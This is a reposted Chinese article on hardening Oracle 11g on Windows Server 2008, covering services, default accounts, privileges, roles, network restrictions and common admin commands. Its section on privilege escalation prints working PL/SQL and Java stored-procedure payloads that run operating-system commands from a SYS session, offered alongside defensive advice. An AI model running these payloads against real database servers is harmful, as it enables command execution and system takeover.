<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/%e8%bf%90%e7%bb%b4%e5%ae%89%e5%85%a8/2547

            0x01 測試環境


            操作系統:window server 2008 x64 oracle:oracle 11.2.0.1.0

            0x02 oracle權限介紹


            1. oracle一個實例就是一個數據庫,創建一個新的數據庫會產生一個新的實例,并且一個實例獨立運行一個進程。
            2. 一個用戶對應一個方案,當用戶新建一個數據對象(比如表)之后會在此方案下面。自己訪問可以直接訪問,其他用戶訪問需通過“方案名.對象名”的方式。
            3. 用戶默認擁有自己方案下面的數據對象的權限,其他用戶無相應權限。sys,system默認擁有所有方案的權限。
            4. 當一個用戶登錄oracle實例時,首先需要判斷用戶是有否登錄權限,如果沒有,直接不能登錄,如果有,則登錄成功。登錄成功之后,會根據用戶擁有的權限來決定能做的事情,在進行一項操作時,如果有權限,則操作成功,如果沒有權限,則操作失敗。
            5. oracle主要有兩個核心進程,一個是oracle的服務進程,一個是監聽進程,當外部連接oracle時,首先是訪問的監聽進程,由監聽進程根據你訪問的數據庫實例來轉發到相應的oracle實例進程處理。

            0x03 oracle系統服務


            在window server 2008中安裝的oracle 11g總共會有七個服務,這七個服務的含義分別為:

            a. Oracle ORCL VSS Writer Service:

            Oracle卷映射拷貝寫入服務,VSS(Volume Shadow Copy Service)能夠讓存儲基礎設備(比如磁盤,陣列等)創建高保真的時間點映像,即映射拷貝(shadow copy)。它可以在多卷或者單個卷上創建映射拷貝,同時不會影響到系統的系統能。(非必須啟動)

            b. OracleDBConsoleorcl:

            Oracle數據庫控制臺服務,orcl是Oracle的實例標識,默認的實例為orcl。在運行Enterprise Manager(企業管理器OEM)的時候,需要啟動這個服務。(非必須啟動)

            c. OracleJobSchedulerORCL:

            Oracle作業調度(定時器)服務,ORCL是Oracle實例標識。(非必須啟動)

            d. OracleMTSRecoveryService:

            服務端控制。該服務允許數據庫充當一個微軟事務服務器MTS、COM/COM+對象和分布式環境下的事務的資源管理器。(非必須啟動)

            e. OracleOraDb11g_home1ClrAgent:

            Oracle數據庫.NET擴展服務的一部分。 (非必須啟動)

            f. OracleOraDb11g_home1TNSListener:

            監聽器服務,服務只有在數據庫需要遠程訪問的時候才需要。(非必須啟動,但是供外部訪問則必須啟動)。

            g. OracleServiceORCL:

            數據庫服務(數據庫實例),是Oracle核心服務該服務,是數據庫啟動的基礎, 只有該服務啟動,Oracle數據庫才能正常啟動。(必須啟動)

            那么在開發的時候到底需要啟動哪些服務呢?

            對新手來說,要是只用Oracle自帶的sql*plus的話,只要啟動OracleServiceORCL即可,要是使用PL/SQL Developer等第三方工具的話,OracleOraDb11g_home1TNSListener服務也要開啟。OracleDBConsoleorcl是進入基于web的EM必須開啟的,其余服務很少用。

            0x04 oracle默認賬戶


            在oracle11g安裝后,會有很多系統默認賬號,除了4個外,其他的都處于鎖定狀態,如無特殊用途,請不要打開。另外4個分別為:

            1. SYS用戶 SYS,當創建一個數據庫時,SYS用戶將被默認創建并授予DBA角色,所有數據庫數據字典中的基本表和視圖都存儲在名為SYS的方案中,這些基本表和視圖對于Oracle數據庫的操作是非常重要的。為了維護數據字典的真實性,SYS方案中的表只能由系統來維護,他們不能被任何用戶或數據庫管理員修改,而且任何用戶不能在SYS方案中創建表。

            2. SYSTEM用戶 SYSTEM,與SYS一樣,在創建Oracle數據庫時,SYSTEM用戶被默認創建并被授予DBA角色,用于創建顯示管理信息的表或視圖,以及被各種Oracle數據庫應用和工具使用的內容表 或視圖。

            3. DBSNMP用戶 DBSNMP是Oracle數據庫中用于智能代理(Intelligent Agent)的用戶,用來監控和管理數據庫相關性能的用戶,如果停止該用戶,則無法提取相關的數據信息。

            4. SYSMAN用戶 SYSMAN是Oracle數據庫中用于EM管理的用戶,如果你不用該用戶,也可以刪除或者鎖定。

            以上4個賬戶的密碼均為安裝時候設置的密碼,由于一般情況下,DBSNMP和SYSMAN用戶不會被使用而被遺漏,建議鎖定。

            0x05 oracle權限和角色


            a.權限

            oracle權限分為系統權限和對象權限,當剛剛建立用戶時,用戶沒有任何權限,也不能執行任何操作。如果要執行某種特定的數據庫操作,則必須為其授予系統的權限。如果用戶要訪問其他方案的對象,則必須為其授予對象的權限。

            系統權限是指執行特定類型Sql命令的權利,它用于控制用戶可以執行的一個或是一組數據庫操作。比如當用戶具有create table權限是,可以在其方案中建表,當用戶具有create any table權限時,可以在任何方案中建表。Oracle提供了100多種系統權限。

            常見的系統權限見下表:

            create session

            連接數據庫

            create view

            創建視圖

            create procedure

            創建過程、函數、包

            create cluster

            建簇

            create table

            創建表

            create public synonym

            創建同義詞

            create trigger

            創建觸發器

            常見的對象權限見下表:

            alter

            修改表結構

            delete

            刪除數據

            select

            查詢數據

            insert

            添加數據

            update

            修改數據

            index

            在表上建立索引

            references

            引用

            execute

            執行

            注:可以用all代替select, update, insert, alter, index, delete

            b. 角色

            oracle角色分為系統角色和自定義角色,自定義角色可以根據需要指定相應的權限,系統角色主要介紹下面3個:

            DBA: 擁有全部特權,是系統最高權限,只有DBA才可以創建數據庫結構。

            RESOURCE:擁有Resource權限的用戶只可以創建實體,不可以創建數據庫結構。

            CONNECT:擁有Connect權限的用戶只可以登錄,不可以創建實體和數據庫結構。

            對于普通用戶:授予connect, resource角色。

            對于DBA管理用戶:授予connect,resource, dba角色。

            0x06 oracle如何建立網站連接用戶


            方案一:

            1. 使用system新建一個用戶名,給予connect,resource 的角色

            2. 使用新建的用戶登錄,然后創建需要的表

            3. 使用system登錄,revoke新建用戶的connect,resource角色

            4. 使用system登錄,grant新建用戶create session 權限

            5. 使用system登錄,給予新建用戶在USERS表空間的權限

            方案二:

            1. 使用system登錄,創建網站需要的表

            2. 使用system登錄,創建一個用戶名

            3. 使用system登錄,grant新建用戶create session的系統權限,然后根據網站的需要給予所建表的相應的對象權限。

            4. 使用system登錄,給予新建用戶在USERS表空間的權限

            5. 網站訪問數據庫的時候使用“system.表名”的形式。

            0x07 oracle安全配置方案


            1. 限制訪問ip

            方法一:

            防火墻指定,windows中通過windows防火墻中指定監聽端口的訪問ip,linux中通過iptables指定監聽端口的訪問ip。

            方法二:

            windows中可通過ipsec指定監聽端口的訪問ip。

            方法三:

            可通過oracle的監聽器中指定可訪問的ip 在服務器上的文件$ORACLE_HOME/network/admin/sqlnet.ora中設置以下行:

            tcp.validnode_checking = yes
            

            允許訪問的ip

            tcp.invited_nodes = (ip1,ip2…)
            

            不允許訪問的ip

            tcp.excluded_nodes=(ip1,ip2,……)
            
            1. 修改端口 可以修改監聽器的端口,減少掃描量

            2. 關閉不必要的服務 可以關閉不必要的服務來減少對外訪問,除了OracleServiceORCL和OracleOraDb11g_home1TNSListener是必須開啟的之外,其他的均可以關閉。特別是OracleDBConsoleorcl服務的開啟會啟用web版的EM,訪問端口在1158,如不需要請關閉此服務。

            3. 所有的用戶均需設置強密碼 在設置密碼的時候均需要設置8位以上的強密碼,且包含大小寫,數字,特殊字符。

            4. 關閉不需要的用戶 oracle默認會有4個不鎖定的賬戶,建議鎖定DBSNMP和SYSMAN。

            5. 特權賬戶的處理 限制數據庫超級管理員遠程登錄。 a. 在spfile中設置 REMOTE_LOGIN_PASSWORDFILE=NONE b.在sqlnet.ora中設置 SQLNET.AUTHENTICATION_SERVICES=NONE 禁用SYSDBA角色的自動登錄

            6. 開啟日志 可以開啟日志對數據庫進行審計,但是也會消耗資源,可根據實際情況操作。

            7. 網站使用的數據庫賬號權限最小化 可以根據上面寫的網站連接數據庫賬戶推薦的方案建立。

            8. 合理使用數據庫進程賬戶 數據庫進程賬戶使用較低權限賬戶,新建一個新用戶,添加數據目錄的寫權限,如果配置之后跑不起來,可以退而求其次,給予整個數據庫目錄的完全控制權限。

            9. 合理配置數據庫進程賬戶對磁盤的權限 不要給予數據庫目錄以外的特殊權限,最好是讀取權限都不給,可以根據實際情況來安排,原則就是數據庫目錄給的權限能保證正常運行,其他的目錄能不給就不給。

            0x08 oracle提權及防御點


            1. 通過PL/SQL提權

            create or replace library exec_shell as '$ORACLE_HOME\bin\msvcrt.dll';  
            create or replace procedure execmd (command in char) is external name "system" library exec_shell language c; / exec execmd('net user >netaaa.txt');
            

            2. 使用java提權

            CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS import java.lang.*; import java.io.*; public class JAVACMD { public static void execCommand (String command) throws IOException { Runtime.getRuntime().exec(command); } }; / CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2) AS LANGUAGE JAVA NAME 'JAVACMD.execCommand (java.lang.String)'; / exec javacmdproc('cmd.exe /c net user > netaaa.txt');
            

            以上兩種方法如果使用sys均可以提權成功,而普通權限用戶是無法完成上面的操作的。所以防御源頭還是只能對sys特權賬戶的管理,但是如果真的特權賬戶被黑客獲取,此時的方法也只有使用低權限的數據庫進程賬戶,以及控制進程賬戶對磁盤的權限,這樣操作能將黑客能夠操作的權限降到最低。 至于先對低權限的oracle賬戶提升為dba權限,然后進行系統提權的操作本文不討論,也請大牛提供更好的方法。

            0x09 oracle常見操作命令


            1. 連接數據庫

            conn [email protected] as sysdba;
            

            2. 新建用戶

            create user yonghuming identified by mima;
            

            3. 給用戶授權

            grant connect, resource to yonghuming; grant create session to yonghuming; alter user yonghuming quota unlimited on USERS; grant unlimited tablespace to yonghuming; grant select on testable to yonghuming;
            

            4. 取消授權

            revoke connect , resource from yonghuming;
            

            5. 刪除鎖定(解鎖)賬號

            alter user yonghuming lock; alter user yonghuming unlock; drop user yonghuming cascade;
            

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线